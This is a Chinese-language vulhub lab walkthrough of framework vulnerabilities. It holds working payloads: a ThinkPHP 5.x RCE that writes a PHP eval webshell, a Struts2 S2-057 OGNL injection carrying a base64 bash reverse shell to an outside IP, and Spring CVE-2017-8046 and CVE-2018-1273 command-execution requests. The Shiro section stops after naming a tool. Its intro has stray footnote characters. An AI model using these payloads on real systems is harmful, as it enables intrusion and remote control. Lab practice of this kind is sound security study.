常见框架漏洞靶场攻略
前言:
本文的环境完全是cd vulhub-master靶场,如果之前没有用过建议大家下载一下,此外配套的还要下载docker工具docker-compose工具。另外建议做完一个靶场就docker stop 把容器停掉,要不然会占用端口并且会占用内存。
Web框架:
Web应用框架是用于支持动态网站、网络应用程序及网络服务开发的软件框架,主要分为基于请求和基于组件的两种类型。其通过提供标准组件与通用模板,简化数据库访问、会话管理及界面生成等重复性工作。
Thinkphp(TP)
ThinkPHP 是一个轻量级、高效的 PHP开发框架专注于简化企业级应用开发和敏捷Web开发。以下是其核心特点:
大道至简的设计理念,兼顾性能与易用性,提供单一入口文件和灵活配置系统,降低开发门槛。12
模块化设计,内置数据库、模板引擎、缓存等组件,支持快速搭建应用框架,并可通过扩展插件满足复杂需求。
MVC模式只实现业务逻辑与界面分离,提升代码可维护性。56**命名空间9、Composer依赖管理°等现代化特性,适配 PHP 8.4°等新版语言特性。
自2006年发布以来,ThinkPHP经历了多个版本更新,当前最新版本为5.x(截至2025年7月),持续优化性能与扩展性。适用于中小型项目、快速开发场景,尤其在 电商系统a后台管理系统ª等领域有成熟解决方案。
Thinkphp5x远程命令执行及getshell
漏洞利用:
漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分原因,在利用上会出现一些问题。
环境搭建:
cd vulhub-master/thinkphp/5-rce
docker-compose up -d
docker ps
靶场攻略:
输入?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
这说明可以执行系统目录,利用这一特性写入木马
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php eval($_POST["a"]);?>' >shell.php
访问shell.php
struts2
Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。
S2-057远程执行代码漏洞
环境搭建:
cd vulhub-master/struts2/s2-057
docker-compose up -d
docker ps
靶场攻略:
访问/struts2-showcase/
在url处输入/${(123+123)}/actionChain1.action
回车,发现数字相加了,说明可以执行系统命令
在原本${(123+123)}的位置上写入
%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D
看起来很复杂,其实这是经过url编码后的语句,他的命令执行语句是exec('whoami')
可以看见,命令被执行,且返回结果是root
我们可以利用这一特性反弹shell
写一个反弹shell语句bash -i >& /dev/tcp/59.110.83.22/8888 0>&1进行base64编码
构造语句
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
这个语句如果执行可以反弹shell,之所以绕这么一下是为了绕过系统的过滤机制。
填入命令执行的地方,url编码一次。
最后语句为/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC81OS4xMTAuODMuMjIvODg4OCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
在监听机上开启监听
反弹到了
Spring
Spring框架是由于软件开发的复杂性而创建的。Spring使用的是基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅仅限于服务器端的开发。从简单性、可测试性和松耦合性角度而言,绝大部分Java应用都可以从Spring中受益。
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
环境搭建:
cd vulhub-master/spring/CVE-2017-8046
docker-compose up -d
docker ps
靶场攻略:
访问/customers/1
在这个页面抓包,构造请求包
PATCH /customers/1 HTTP/1.1
Host: 59.110.83.22:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: wp-settings-time-1=1753864547; JSESSIONID=54D0C8AFD21D725865A1AB42228BFE6F
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sun, 03 Aug 2025 10:23:12 GMT
If-None-Match: "0"
Priority: u=0, i
Content-Type: application/json-patch+json
Content-Length: 0[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
请求体的数字是经过ascii码的touch /tmp/success,如果命令执行会在tmp目录下创建一个success文件
放行,进入容器里查看
创建了。根据这个原理我们可以写入一个木马,不过前提是知道网站的路径,太麻烦这里就不演示了。
spring 代码执行(CVE-2018-1273)
环境搭建:
cd vulhub-master/spring/CVE-2018-1273
docker-compose up -d
docker ps
靶场攻略:
访问/users
在这个页面抓包
把username的参数改成
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/crz")]=&password=&repeatedPassword=,这个命令可以创建一个/tmp/crz文件
进入容器查看一下
Shiro
Shiro rememberMe反序列化漏洞(Shiro-550)
环境搭建
cd vulhub-master/shiro/CVE-2016-4437
docker-compose up -d
docker ps
靶场攻略
利用工具:shiro_attack工具